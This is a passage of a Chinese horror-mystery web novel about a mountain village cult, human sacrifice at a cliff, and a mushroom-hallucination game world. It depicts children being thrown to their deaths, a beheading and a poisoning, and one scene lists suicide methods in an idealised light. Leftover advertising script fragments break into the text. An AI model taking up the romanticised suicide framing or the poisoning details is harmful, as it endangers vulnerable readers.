既不是泥塑,也不是木雕。双眼紧闭的“俱生法王”看起来如此真实,就好像下一秒就要开口发号施令。 台下几十个信徒中为首的果然是吉广进,而他旁边站着的竟然是吉三嫂。 等等,“俱生法王”的脸看起来怎么有点眼熟? 蒋济宁摸出手机,打开了黎嗣拍的那些照片,一张张翻过去,却又都对不上号。翻到最后,只剩下他之前去家访时跟学生、家长们拍摄的记录资料了。蒋济宁想了想,找到吉兰馨家的照片,也没什么蹊跷,又滑了几张,一张老照片出现在他眼前。 这是吉子豪的外婆去世出殡时,他们家族拍的大合照。 子豪身后那个和吉三嫂并肩站立的,就是他的亲舅舅,也是吉三嫂失踪多年的丈夫吉荣发。 尽管像素非常模糊,但吉荣发那颇具特色的张飞眉,分明就跟台上的“俱生法王”一模一样! “一去不回的丈夫成了‘神’,这就是吉三嫂站在最前的原因吧。”蒋济宁暗中梭巡着,一直没发现吉兰馨的踪影,反而看到了隐藏在墙缝里的一个电闸。 仔细看去,其实整个场景布置得很粗糙,甚至比不上大城市游乐园里的鬼屋机关。但在吉家村这个连台式终端都没有的山窝窝里,稍微大一点的3D投影已然是近乎神迹。 “真是名副其实的‘人造神’。” 蒋济宁冲过去,趁着所有人惊愕不已,以迅雷不及掩耳之势把电闸一拉—— “啪!” 灯光全部熄灭,包括台上的“俱生法王”也瞬间消失。只余防空洞上方的透气孔洒下几线微弱天光。 “你个疯子!你做了什么?!”吉广进像一头蛮牛一样猛地冲了过来,简直是想把他当场撕碎,“你把‘俱生法王’还给我们!我儿子,‘俱生法王’还没把我儿子救回来呢!” 明明被推搡的人是蒋济宁,但吉广进自己却渐渐脱力滑坐在地上,几乎崩溃地哭喊着:“我的儿子回不来了!他回不来了啊!” “怎么是你啊,蒋老师?” “你怎么能冒犯‘俱生法王’啊,要遭报应的!罪过罪过!” 村民们七嘴八舌地围过来,幸好没一个个都像吉广进这么疯狂,不然他就完了。 “今天‘俱生法王’不会再显灵了,咱们都先回去吧。”吉三嫂一开口,竟压过了整片混乱,“老四你别太难过,下回再来求‘俱生法王’,他一定能把你儿子带回来的。” 见他们这么冥顽不灵,蒋济宁只能忍住反驳吉三嫂的念头,免得彻底激怒这些人。 “蒋老师,事到如今我也不瞒着你了。是兰馨她爹妈来求了‘俱生法王’,给闺女找了个好人家,嫁过去穿金戴银的当富太太呢。” 吉三嫂话里话外都是一股得意的劲头,蒋济宁却越听越心寒。 “兰馨明天就要回门啦,大家记得来沾沾喜气啊。也给咱‘俱生法王’扬一扬威风!” 说完,她第一个跪到供桌前,朝着空无一物的高台再三叩拜,姿态无比虔诚。 剩下的所有村民,包括吉广进也纷纷跪下去,口中高呼着:“‘俱生法王’保佑!” 最后,蒋济宁跟着他们离开了这个“法会”,心情既懊恼又沮丧。 要爬出树洞之前,他没有发现黎嗣的踪影,但也不敢向村民们说出这件事,免得再次连累无辜之人。 尽管吉家村的人没蒋济宁想象中那么虎视眈 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 眈,一路回到自己住处时,他还是收获了不少复杂视线。 当他们回到家之后,可能第二天村长就会找上门来,请求自己离开这里。 可是一想到吉兰馨,还有另外的那些天真懵懂的孩子们,蒋济宁就忍不住心里的怒火:难道要眼睁睁看着他们,以后也沦落到如此愚昧迷信的地步吗? “我不甘心!既然你们这么相信‘神迹’,那就只能以毒攻毒了。” 他快步走进自己屋子里,从柜子里掏出自己先前根据《游宦纪闻》里提到的配方所准备的“秘密材料”: 想要在青铜镜上显出人像,可用竹汗、头发灰、龟屎、蟾蜍油等四种原料配制而成,再用笔蘸以上配方在镜中画人像,再放到太阳下晒干,再用滑石粉磨去画像,然后用醋磨之,最后用水银磨洗,铜镜就会变得异常明亮,所绘的画像便留在镜底,使人以为是镜中仙人,栩栩如生。 “本想着愚人节的时候,拿这招‘仙人入镜’逗孩子们玩玩,没想到要用在这种时候。” 蒋济宁感觉心情非常沉重,身体也非常累,就像陷在淤泥里不得逃脱,想挣扎却不知该往哪里使劲。 才刚转过身,眼前蓦地一黑—— 他整个人直挺挺倒了下去,意识彻底模糊之前,只听到几个陌生的声音,语气满是奚落,仿佛在讨论一只待宰的羔羊。 “四哥,人已经药倒了。” “……抬上山?行行行,你是头儿你说了算!” “嘁,就这么个窝囊废,一棍子打昏拖走得了,还费那么大劲儿。” … 不知过了多久,“哗啦”一声,蒋济宁被一桶冷水泼醒。 他靠在一棵树上,昏昏沉沉睁开眼,双手反剪着捆在背后。水从头上直往下淌,淋湿了的麻绳顿时勒得更紧。 抬头一看,天已经黑了,无星无月,阴云密布。有许多人穿着式样古旧的服饰,举着火把,聚集在他周围,像一群死去多年的鬼魂。 蒋济宁的身躯渐渐湿透,秋风吹来,冷得忍不住打了个哆嗦。 “你们这是……要干什么?” 没人回答他的问题。 他们沉默着从中间缓缓退开,分出一条路,通向悬崖。 一个女人身穿青白赤黑黄五色混杂的云纹衣裳,头戴鸦翅雕花银冠,正跪在崖边的一张供桌前祷告。 供桌上摆着一张虎皮、一对棕熊爪和一截蟒蛇尾。 看起来都很“新”,显然是不久前才被盗猎者从动物们身上夺走的。 “一祭虎种——” “二祭熊裔——” “三祭蛇根——” 她每念一句,就有两人上前把对应的祭品抬起来,丢到悬崖底下去。 三样祭品都丢完之后,人群里终于有了一点动静: “总算要祭‘人牲’了。” “这蒋老师是个聪明人,用他供奉出来的法王一定能比上一个更灵验。” “姑娘和小孩怎么还没上来?” “刚上山的时候,那姑娘想跑,被饿了几顿,祭司去劝了之后,她终于肯梳妆打扮。那小孩太野了,四哥他们好不容易才捉到她呢。” 他们说话时带着比吉家村村民更加严重的土话口音,蒋济宁只能听懂一两句,语言不通的感觉就像面对着一群披着人皮的异类,实在是恐慌到极点。 片刻后,人群后方爆发出一阵欢呼。 “来了来了!姑娘和小孩都送上来了!” 39. 跳下悬崖 大部分人都退到树林边,蒋济宁与供桌之间留出大片空地。 被几个壮汉簇拥着走来的吉兰馨穿了一身鲜艳红裙,脸上画着与年龄不符的浓丽妆容,唯独一抹笑容洋溢着满满的青春气息。 走在她身后的一个男人两手还箍着个大麻袋,袋口上方露出吉安那张脏兮兮的小脸,嘴上贴着胶布,瞳光却清亮如小兽,都被套在麻袋里了还不停唔唔挣扎着,像是随时要扑出来咬人。 看到她们时,蒋济宁脑子里一片空白,如遭雷击。 难道,这两个孩子和他,都是“人牲”? 一直跪在供桌前的祭司站起来,从桌上拿了一个玉净瓶,瓶中插着一小簇用山丝苗与米囊花扎成的花束。 她转身走到女孩们面前,拿起花束,往吉兰馨和吉安脸上洒了几滴水。兰馨安静乖顺地闭上眼,吉安却像被水淋湿的小猫一样疯狂甩着头。 那女人又走到蒋济宁面前。 这时他才发现,这个祭司的面容饱满莹润,模样看起来最多也就只比吉兰馨大一两岁而已。 “你们到底要干什么!”蒋济宁几乎是怒吼着质问她。 “叩天门,迎法王。”年轻祭司微笑着答道,“外乡人,能成为内家吉的‘人牲’,是你这辈子最大的荣幸。” “那吉兰馨和吉安呢?大的只有十六岁,小的才五岁!你们连小孩子都不放过,简直就是一群恶魔!” 听到“小孩子”三个字,那祭司似乎微微愣住了。 她正要继续开口说什么时,却有人姗姗来迟,打断了她的话: “这几天辛苦你了,慧伽。” 来者一身牛仔套装衬得肤色更加苍白,头上扎着低马尾,细框眼镜的镜片映着闪烁火光,看不清他视线到底落在何方。 “四哥!四哥来了!” 周围人群当即发出比之前更加响亮的欢呼声,只有被他称为“慧伽”的祭司神色依旧平淡:“你们外家吉的人没多说什么吧?” “那当然,只要能请出法王,他们肯定会继续乖乖听话的。” 黎嗣笑嘻嘻地走过来,倾身去看慧伽的脸,她却立即转身走向吉兰馨她们,发冠上的银饰碰撞出一阵琳琅作响的清音。 他闭了闭眼,似乎轻叹了一声。随即偏过头,与蒋济宁的目光相接,温声说道:“真是对不起啊,蒋老师。有时候世事就是这么无常,要想成事,总会需要一些必要的牺牲。” 那一刻,达到极点的震惊与愤怒轮流碾过内心,蒋济宁的眼眶微微抽搐着,却不得不迅速平复自己的情绪:“我不管你是谁,放过她们。” “那你自己呢?”黎嗣甚至好整以暇地在他面前蹲了下来。 “‘虎身’、‘熊爪’、‘蛇尾’都有了,现在只差‘人首’,牺牲我一个就足够了。”蒋济宁声音微微嘶哑,难掩倦色,却异常坚定,“两个女孩好歹也姓吉,是你们的同族。” “啧,蒋老师这种舍己为人的精神,真是让我钦佩不已。”黎嗣站起身,脸上露出了一抹令人毛骨悚然的微笑。 “只是可惜了,我们必须给俱生法王一个完整的‘家’啊。” 他没转身,只是挥了挥手。 慧伽摘下一朵艳丽的米囊花,簪在吉兰馨鬓发上,对她轻轻点头。 少女回以一个灿烂到极致的笑容,立刻就转身跳下了供桌后面的万丈深渊。 同时,吉安也连人带麻袋被丢下了悬崖。 小女孩的嘴还是被堵着,只能从喉咙里发出一声长长的哀鸣。 … “祭司娘娘,悬崖底下有什么呢?” 十六岁的少女穿着一身喜服,橘色短衫与碧绿长裙的边角都绣着殷红云纹,颜色比她鬓边那朵米囊花更加鲜艳。 她站在卷起竹簾的窗台下,轻轻转了一个圈,晨光如轻烟般洒入小木屋中,将那幅飞旋的裙摆覆上一层迷离薄纱。 祭司坐在角落里的织布机旁边,凝视着她,像在看一个让人不忍惊醒的美梦。 许久之后,偷偷为自己的美丽而欣喜的新娘有点诧异地停下来,回头望向祭司。 “仙境的入口。”祭司垂眸答道。 少女的双眼倏地发亮。 “那要怎样才可以进仙境呢?” “你今天就要出嫁了,怎么还在想这个事?” 祭司将注意力转回身边的织布机,继续动手将剩余的五色棉线纺织成布匹。 “九妹她们几个还没到嫁人的年纪,我先替她们问问嘛。”少女提着裙摆三步作两步跳过来,一下子把头上簪的花草震得簌簌往下掉。 “哎哟!我的花!怎么都掉了,待会儿阿姆肯定骂死我!” “只要你嫁了人,你阿姆收了礼金,可就再也不能骂你了。”祭司淡淡说道,到底还是站了起来,抬手帮她把花草重新簪回发髻。 少女试探着问她:“祭司娘娘,我听说,没嫁过人的姑娘从悬崖上跳下去,就能进仙境——这是不是真的?” “这个办法是最好的,干净又雅洁。” “还有别的办法呀?” “也有人跳井或者跳河,有人吃毒菌子,还有人上吊。这些办法也都可以,就是太难看了。” “难看?”年少的新娘又是满脸诧异。 “淹死的人就算能进仙境,也会被泡得发胀。毒死的人,身上会变成一层蟾蜍皮。吊死的人,舌头收不回去。” 少女听得愣愣的,转头朝铜镜里吐了吐舌头,立刻又收了回去,下意识摇头:“……还真的挺难看的。” 可她还是很想去仙境。 也不止是她,其实内家吉的每个姑娘都这么想。 进了仙境里的女人都会重新活一次: 她们一出世就变成父母最喜欢的宝贝,有一个属于自己的名字,不用再叫什么大丫二姐三妹,长大了也没人会喊她们难听的“某嫂”、“某婶”。 她们还可以上学读书,不用挨打挨骂、饿着肚子干活,想吃什么都可以吃个够,再也不用吃半个鸡蛋都要先看看阿伯(父亲)和阿姆(母亲)的脸色。 仙境里,是男人嫁给女人。 而且他们只能嫁一次,如果再勾搭别的女人,那就是不贞洁,要被抓起来浸猪笼! 虽然仙境里的女人也生孩子,但是生得特别容易,睡一觉孩子就自己出来了,女人们不会痛得死去活来,更不会因为生孩子而丧命。 反正对女人来说,仙境就是世界上最好的地方。 “真可惜啊,我今天就要嫁人,再也没机会去仙境了。” 少女瘪了瘪嘴,天真而明媚的面容上终于被添上了几分忧愁。 祭司勉强扯起嘴角,露出一抹僵硬微笑:“每个女人都要嫁人生孩子,大山里不都这样嘛。” 就像母鸡下蛋,母羊产奶一样,他们说,这些都是天经地义的事情。 “可我们就不能等长大一点 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 再嫁人吗?或者不嫁人……”少女越说越小声,甚至还往门外探头看了两眼,生怕有别人听见她这种大逆不道的话。 要是阿姆她们听到了这种话,那可就完了。 她肯定会被当做邪魔上身,关进柴房里,没吃没喝地饿上三天,饿到大人们觉得她身上的邪魔已经跑了为止。 祭司漠然地盯着她。 那种眼神,就像一条鱼看着另一条鱼试图往岸上跳。 “长大?过了二十岁就是老姑娘了,你想嫁也嫁不出去,只能等着被那些穷汉懒汉挑挑拣拣了。” 少女坐在竹椅上,忐忑地咬着手指:“我又没见过那个人,哪里知道他会不会是穷汉懒汉呢。” 这下换做祭司露出惊诧的神色:“你阿伯阿姆都没安排你们先见一次面吗?” “阿姆说,那样不吉利。” 新娘摇了摇头,眼中忽然涌起新的渴望。 “祭司娘娘,阿伯和阿姆收了那家人给的礼金,就不会那么快把九妹嫁出去,求你一定把她送进仙境里!” 她解下自己的荷包,从里面倒出一对金耳环,趁着祭司愣神的那一刻塞到她手里,然后立即提起裙摆飞奔出门。 “欸!你回来——五妹!吉五妹!” 祭司追到门边,可那在出嫁之日偷溜出来的少女已经跑得没影,石板路上只遗落了一地的鲜花与绿草。 “这世上,根本就没有什么‘仙境’!”祭司低低说出这句话,神情似笑更似哭。 … 一年后,五妹抱着还没满月的儿子跳下了悬崖。 又过了三年,她的丈夫吉升平张罗着要娶回十七岁的吉九妹当新老婆,五妹却忽然回来了,看起来跟三年前完全一样,连她跳崖那天穿的衣服都没有半点变化。 吉升平吓得连夜逃到山外,甚至不敢问她一句:“儿子呢?” 五妹回去以后,跟没事人似的,径直又去找了祭司。 她俩已经足足有四年没有见过面了——内家吉出嫁后的女人不能再到处乱跑,只能留在屋里干活,照顾丈夫的一家老小。 祭司从锅里舀起一碗松茸汤,问她:“你生的那个孩子呢?” “什么孩子?”五妹伸手接过那碗汤,满脸茫然地看着她。 “四年前,你嫁了人,生了个儿子。”——然后抱着孩子跳下了悬崖。 祭司凝望着她依然天真懵懂的面容,一时不忍心将后面这句话说出口。 “原来连你也不知道呀,祭司娘娘。”五妹恍然大悟般笑起来,又一次摇了摇头,“其实,我去了仙境。” 仙境里真的很好。 进了仙境以后,过去的十七年岁月仿佛变成一场无足轻重的噩梦。 新婚之夜,不再有人粗暴地撕掉她美丽的衣裳,让她痛得满脸泪水,连指甲都抓得裂开。 就算生孩子,也不至于生得满床都是血水,整个人像她新婚时穿的裙子一样几乎被撕成两半。 丈夫也不会在孩子还没满月的时候就逼着她再次同房。 只要她不愿意,他就自己安安静静睡到另一边,不会再打扰她给孩子喂奶,更不会对她拳打脚踢。 最重要的是,她终于在仙境里得到了一个真正属于自己的名字。 “祭司娘娘,我有新名字了,不再叫‘五妹’。” 她眼睛亮亮的,比四年前的任何时候都要更加欣喜。 “我叫慧伽。” 40. 菌要臣死 炉火还在燃烧着。 锅里的汤水轻轻翻滚,切成片状的米白色菌肉浮起又沉下,散发出一阵浓郁香气。 慧伽用汤勺舀起一片菌子,低着头凝视了很久,轻声问道:“祭司娘娘,这是白毒伞吗?” “叮”的一声。 长柄铁勺蓦地碰到锅沿,清脆声响瞬间刺破木屋里的诡异寂静。 “怎么可能!” 祭司很突兀地笑出声,眼角纹路僵硬,像两柄真正的鱼尾。 她抬手将一缕垂下的微白鬓发捋到耳后,动作略有些不大自然。 “是白罗伞,我这两天刚上山摘的。” 慧伽便也跟着微笑起来。 她端坐在一片金色晨光中,美丽而圣洁,仿若诞生于山林间的神女。 一如十六岁时即将出嫁那日,也如同多年之后的某个黄昏,她在另一座空旷的砖瓦房中,面对着另一个十六岁的少女。 太阳即将下山。 年轻的新祭司低垂着眼帘,眉宇间流转的欢欣灵动早已黯淡下去,手中瓷碗却再次盛着半碗温热菌汤。 吉兰馨被绑在一张沉重的乌木圈椅上,她昨晚逃跑被抓回来,本就吓得不轻,还饿了一整天,这时的脸色比纸还白。 “‘慧伽’,是神仙赐予我的名字。” 她用汤勺轻轻搅拌着菌汤,用哄小孩般的语气开了口: “二十年前,我跳下了悬崖,进入仙境,在里面呆了三天。” 她舀起一勺汤,要喂给吉兰馨。 少女神色愤恨地别开头,用自己最冷漠的语气开口:“仙境?这个世界上根本就没有神仙,你别想骗我。” 慧伽的嘴角弯起细微弧度,只是收回手,将汤勺和瓷碗放在桌子上。 她从发髻上抽出了一支银簪。 “你要杀了我?”吉兰馨眼底顿时涌起惧色,很快被她自己强行压下去。 年轻的祭司摇了摇头,神情竟可称为慈悲。下一秒,她毫不犹豫地将银簪扎进了自己的胸口。 鲜血缓缓洇出,如花绽放在水青色的衣襟上。 “啊!你——”吉兰馨瞪着眼睛,下意识发出一声短促尖叫,几秒后回过神了才急忙呼救,“来人啊!救命!有人自杀了!” 可慧伽的表情没有丝毫变化,拔出银簪时,甚至连那双远山眉都没有皱上一下。 房门“嘭”一声被推开,一个长发男人冲了进来,看到慧伽身上那抹刺眼的血迹时,他脸上露出的恐怖神色简直让吉兰馨无法用语言形容。 那人走过来,一言不发,直接拿走了银簪,掏出手帕一点一点擦去了簪子上的血。 慧伽仿佛把他当作了空气,双眼只定定地看着吉兰馨。 她解开单薄衣襟,抹去心口的残余鲜血。 那抹莹润如玉的肌肤上,只剩下沾染着淡淡血痕的一个圆孔状伤疤,就连这小小的伤痕也在几秒时间内迅速消失,彻底变得平整。 “你看,我不会死。” 落日余晖照在那张年轻秀美的面容上,神女终于从曾经天真无知的凡人化为一尊祭台上尘封的塑像。 吉兰馨尚且年少,她当时并没有看懂—— 那种神情不是慈悲。 只是漠然。 “这不可能!难道,世上真的有神仙?” 惶恐在少女脸上缓缓转变为震惊,她眨了眨眼,怎么也无法相信自己双眼所见的一切。 那个男人走进内室,很快又出来,手里拿着一件月白色的衣衫。 慧伽当着屋子里另外两个大活人的面,一脸坦然自若地脱掉那件沾了血的衣服,换上了干净的衣物。 就在吉兰馨茫然无措低下头时,那个人解开绑住她双手的绳子,冷声说了一句: “自己把汤喝了。” 黎嗣风风火火闯进来,又阴沉着脸,慢吞吞走了出去。全程没有和慧伽说上半句话,而且也不把那根银簪还给她。 吉兰馨心不在焉地揉了半天手腕,才捧起碗开始喝汤。 祭司在她面前落座,用火柴点亮了桌上的一盏煤油灯,屋子里恢复了寂静。 只有汤勺时不时碰到碗壁发出的叮当声。 “仙境里面,是怎么样的?”吉兰馨终于按捺不住好奇心,小声问道。 慧伽垂眼看着玻璃灯盏里的那簇火。 一只小小的飞蛾不知是何时飞进了里面,此刻正绕着火焰上下飞舞。 然后,“噗”的一声。 几乎微不可闻。 同样小小的一股黑烟从灯盏里面窜出。 慧伽单手托着腮,安静注视这一切的发生。 忽然想起老祭司死去的时候,身上果然变成了“蟾蜍皮”:她浑身长满了一层叠一层的红疙瘩,有些甚至渗出鼻涕般青黄色的脓液。 那天,她们一起喝了那锅松茸汤。 汤里面确实没有白毒伞,但是有另一种剧毒的菌子,就算是内家吉上了年纪的人,也没几个认得出来。 这种菌子只生长在动物尸体上,形状很普通,像颗大号的香菇,却往往是五颜六色,并不固定。 内家吉的人口口相传,管它们叫“死人蘑菇”。 非常简单直白,就是吃了绝对会死的一种蘑菇。 吃了“死人蘑菇”的老祭司,最后是不是带着一身蟾蜍皮进了仙境,其实慧伽也并不清楚。 “仙境里,起初有一片大雾。”年轻的祭司闭着眼,潜入了更久远的回忆。 她跳下去的时候,就落在那片云雾中。 风声在耳边呼呼作响,骤然停下的时候,她以为自己终于死了。 却还能睁开眼—— 微弱的月光照在前方,这座空山里竟有几处废弃的老房子,只剩下塌了大半的墙壁,似乎是被洪水冲垮的。 那时,五妹隐约望见有几个人在说话,她抱着孩子走近,那里却空无一人。 环视一周,旁边倒塌的院门口一左一右放着两只大石狮子,威风凛凛。她晃了晃头,才发现是巷道边的几块大石头,全部都扭曲成人脸和动物的形状。 她只好仓皇离开,走着走着却飞到了离地三尺的地方,像风筝一样,正一边俯视一边追着自己怀抱婴儿不停往前赶路的身体。 一路上又无数次看到植物变成高大的人形,长着动物的脸。整个人就像蘸了盐的鼻涕虫,走路晃晃悠悠,不大会走直线。 可不管如何颠簸,孩子竟连半声都没哭—— 飘在空中的五妹忍不住到处乱看,还以为孩子也跟自己一样灵魂出窍了。 就在这时她忽然瞥见,前面山坳口有许多身形佝偻的老人在招手,分明是跟自己打招呼,其中还有些是她认识的! 五妹“嗖”地落回了自己身体里。 “姑婆!二舅公!你们怎么在这儿呀?” 遇到久违的亲人们,她暂时忘记了自己跳崖前的那种绝望。 五妹欣喜地跑向那些老人,忽然间,又缓缓停下了脚步: 几年前姑婆就已经因为上山拾菌子摔断了腿,二舅公更是瘫痪了整整十年,怎么现在反倒一个个好端端地站起来了?< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p>月光下的云雾逐渐散去,老人们的身影也随之消失。 她看见不远处的草地上有不少女童在追逐嬉戏,一大群女婴正爬来爬去,其中也夹杂着几个面孔、身体畸形的男婴。 旁边站着几个失踪了很多年的外地媳妇,她们的丈夫个个都是出了名的懒穷汉,每天只会喝酒打女人,最终都没了老婆。只要有人问起,他们就神色闪烁,说媳妇是“跟人跑了”。 原来她们是不约而同,陆陆续续跑到悬崖底下来了吗? 真正的答案自然令人不寒而栗。 “我看见了很多老人、小孩和女人,月光照在她们身上,地面却没有影子。”祭司继续说道。 她见到的无疑是一群鬼魂,却又没发现她们的尸骨。 … “只是撞鬼了而已。” 王稻美躺在华丽的病床上,翻来覆去睡不着,不知第几次叹了口气。 直到日上三竿,她放在床头柜的掌上终端“汪汪汪”地叫了起来。 原本浮在屏幕中央的睡莲头像被另一棵枝叶绿得像荧光塑料的迎客松取代了。 “Puppy,切换外放模式。”刀妹神色郁郁地接起通讯。 “闺女啊!你那个药吃完没有?你曹叔又送了新的,还带了帮忙买药的小伙子过来,说是要见见咱们呢!” 天峰集团董事长王大山的一把老烟嗓“歘”地冲出来,吓得她赶紧把终端挪远一点。 “呃……怎么吃个蛋还要跟下蛋的鸡见面,这多冒昧啊。” 王稻美嘴角抽搐,忍不住嘀咕起来。 “啥,什么鸡蛋?你要吃鸡蛋啊?” 王大山没听清楚,以为是自己又耳背了,下意识提高了音量。 “没问题!爸现在就让小卢去定购!” “不用了吧,随便哪个菜市场不就有卖土鸡蛋吗?” “那种鸡蛋不好,都是养鸡场里批发出来的,也不新鲜。” 王董叼着雪茄笑了两声:“闺女你还记不记得,咱家公司上次团建去的吉祥农家乐,他们那儿最近养了一群走地鸡,每天满山乱窜刨虫子吃,都不喂饲料的,下的蛋才绿色健康!” “行行行,绿色,健康。”王稻美随口应道,总觉得好像哪里怪怪的—— 等等! 吉祥农家乐! 她终于想起来了,就是这个地方! 上学期劳动节放假的时候,刀妹她们家公司去的诏州三日游,最后一天的落脚点就是这个开在山谷里的度假山庄。 那天的晚餐是诏州特色烤乳猪,一整只油汪汪的,王稻美只吃了一块蹄膀就被甜得反胃,最后只好自己重新点了一份菌菇沙拉解解腻。 吃完没多久,她跟喝了假酒似的,感觉屋子里的天花板跟地板都在往窗外游。 回到房间,正打算洗个脸冷静一下,一打开水龙头,“哗啦啦”窜出一群长着蜻蜓翅膀的小精灵。 过了几分钟,农家乐里养的那头大水牛从门口走进来,对她说:“闺女,晚上早点睡,明天九点咱们就得去机场了。” 王稻美同学终于意识到:那盘菌菇沙拉,它们不熟。 她当晚就被拉去医院洗胃。 农家乐老板一路上鞍前马后,诚惶诚恐,生怕天峰集团的千金大小姐被自家一盘菌菇送上了西天。 还好,刀妹吉人天相,没出什么大事。 就是进医院洗胃时脸色发绿,非常恐慌,一直在大喊大叫: “爸!妈!救命!” “这里怎么有一群北极熊围着我!” 41. 英雄主义 “和牛,黄牛,水牛。” 王稻美属牛,而且是金牛座。 但她不爱吃菜,是一头彻头彻尾的肉食动物。 也不知吉祥农家乐跟她是有着怎样的孽缘,偏偏就是那盘素到仿佛刚从和尚庙里端出来的菌菇引发了重重迷案。 “这些菌菇里面的一种含有大量‘蟾毒色胺’,致幻效果类似科罗拉多河蟾身上分泌的毒素。” 久病成良医,王稻美多多少少也对各种精神类药物的成分有些许了解。 听到医生这么说,她隐约想起,蟾毒色胺是一种与血清素相关的色胺类生物碱,人脑组织中也可生成。某些外域人为了寻求刺激,甚至会自己跑去舔蟾蜍皮。 几天后,王稻美同学拖着暴跌三斤的病躯,回校还不到十个小时,忽然两眼一闭从楼梯上滚了下去,一跤又把自己摔进了医院,就此暂别大学生涯,喜提“精神病人”的不光荣称号。 烦心事真是一茬又一茬,好似野火烧不尽的原上草。 兴许是因为脑袋被撞开了花,那段时间只要刀妹一睡着,她就反复做起同一个特别晦气的梦: 夜色深沉的悬崖边,村民们举着火把,无数张面孔隐没于阴影,状若鬼魂。 一名年轻祭司跪在供桌前虔诚叩拜,头上的银冠折射着火光,熠熠生辉,既华丽又诡谲。 “一祭虎种——” “二祭熊裔——” “三祭蛇根——” “四祭人牲——” 红裙少女脸上带着一抹怪异微笑,纵身跳入深渊。紧接着,套在麻袋里的女童也被一齐丢了下去。 最后,王稻美看见从树林边被拖出来的那个人。 “蒋老师……” 刀妹呼吸一滞,差点认不出他。 即便是半年前刚动完手术,虚弱到只能躺在病床上的蒋济宁,也绝不像此刻这样狼狈。 人群如众星拱月般,所有炙热的目光都追随着一个被称为“四哥”的长发男人,他牵起一根麻绳,另一头紧紧套在蒋济宁的脖子上,隐约勒出了血痕。 后者浑身湿漉漉的,脸色惨然,眼神中透着一股绝望到极点的麻木。 “四哥”将他拉到悬崖边上,后面跟来两个魁梧汉子,强行按着蒋济宁跪伏在地面,连额头都必须重重磕进尘土里。 “你们!你们还要做什么?”即便只是身在梦中,眼前这一切还是让王稻美惊怒交加,恨不得冲过去把那些混蛋打飞。 可她什么也无法阻止。 刀光落下。 雪亮之后是一泼刺眼的猩红。 那颗无法瞑目的头颅骨碌碌地滚下了悬崖。 只剩下无首身躯,缓缓瘫软在原地。 火把噼啪作响,一阵欢呼从静默中轰然爆发—— “恭迎法王!福禄俱生!” “恭迎法王!福禄俱生!” “恭迎法王!福禄俱生!” 悬崖底下传来轰隆隆的古怪声响,沉闷如雷声滚动。 一个大火球倏地冲天而起,化作红色光柱。 … 王稻美很难说服自己相信那只是一个噩梦。 一切都太真实了。 她甚至还能想起那个女祭司身上的服饰:五色云纹,鸦翅银冠。 俨然就是出自多年前毁于洪涝与饥荒的娞吉大寨。 这世上哪有这么多巧合?! 刀妹挂断了跟老父亲王大山的通讯,当即下定决心:必须想办法到蒋老师支教的“吉家村”一探究竟! 新唐南方精神病院固然没那么容易就能让她跑出去,但王稻美同学很快想到了一个新的途径。 它很特别,也很危险。 或者说特别危险。 “‘蹦蹦跳跳向后走,头朝地下脚朝天’。” 刀妹自言自语,复述了一遍那句来历不明的提示。 她丢开终端,随手拿起一个不锈钢保温壶,“咚”地往头上一敲——非常成功地晕倒在自己华丽的病床上。 与此同时,岑小哉依然被困在那个充满孢子的迷宫里面。 陪伴着她的,只有魔法书、地图以及一堆五颜六色七嘴八舌的丑蘑菇。 “实际上,我很难理解人类所谓的‘英雄主义’。”女巫如是说道。 她单方面认为那是一种对“愚蠢念头所驱使的盲目行动”进行美化的神秘艺术,残酷程度仅次于第五次生物大灭绝。 魔法书摊开自己,语气散漫中带着一点无奈:【然而,这恰恰就是副本世界的捕食方式。】 它们提供一些似是而非又互相矛盾的概念,让人类自以为找到了真理,并将此作为大动干戈的理由。 “好阴险的手法。”岑小哉摇了摇头。 不幸的是,她随即听见一阵苍蝇嗡嗡般的声音,很快汇聚成几句模糊呓语: 【祭品。】 【终于。】 【来了。】 女巫很不耐烦地挠了挠头:“哎,这只大苍蝇是不是每次说话都只能两个字两个字地往外蹦?” “我觉得是。” 王稻美的声音陡然响起。 这位2号玩家本次下线与上线的时间竟只相隔了短短一分钟! 岑小哉对此感到十分讶异,但下一秒,新的异常已经出现。 魔法书消失了。 地图消失了。 那堆五颜六色七嘴八舌的丑蘑菇也—— 并没有消失。 它们只是换了个更加舒适的生长环境:一片看起来像是乱葬岗的废墟。 2号玩家和一顶猩红色尖顶帽同时出现在废墟中央。 冒险敲晕了自己之后,王稻美同学非常成功地踏入了这片“地图”。 “你要小心,这里的一切绝不像表面上看起来那么简单。”女巫的声音仿佛是从深渊深处传来的低语。 “谢谢,但表面上看起来好像也没有很简单。” 刀妹咧了咧嘴,连头扎羊角辫的火柴人形态也流露出一种深切的无奈。 眼前的世界瞬间变幻,原本荒凉的村庄变得生机勃勃。 就好像一张残破泛黄的老照片经过处理,被复原成一幕真实的场景。 猩红色尖顶帽下方长出了一个完整的女巫,王稻美也总算重新获得了自己原原本本的人类外表。 但这时,许多村民们也出现在门前与路边,脸上都带着一种僵硬笑容,仿佛沉浸在某种美好的幻想中无法自拔。 “这些蘑菇,有点不对劲儿。”岑小哉说话时并没有压低声音,当即打破了这片诡异的沉寂。 蘑菇们在菜地里排排坐,飞速长大,伞盖大小堪比碗口,却不再叽叽歪歪地说话。可它们的颜色变得越发鲜艳,散发着一股诱人的烤肉香气,俨然是童话中才会出现的美味珍馐。 王稻美下意识咽了一下口水,等到她走近后仔细观察,却惊恐地发现—— 这些蘑菇底部露出的竟不是什么土壤朽木,而是人类的森森白骨。 她瞪圆双眼,倒吸了一口凉气,心中涌起一股不祥的预感:“ (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 这些蘑菇……它们是以人为食的吗?” 2号副本世界是一个巨大的毒蘑菇幻觉。 “‘白骨灵芝’,就是多年前饥荒时期的产物。人们为了生存,不得不食用这些蘑菇,但它们却带来了可怕的幻觉,让所有人陷入了疯狂,不停地互相残杀。” 王稻美环顾四周,她能感觉到这里的每一寸土地都浸满了怨念和痛苦。 “必须找到源头,终止这一切。” 刀妹继续前进,在村子里四处探索。可副本中的幻觉越来越强烈,她逐渐看见一些奇怪的现象: 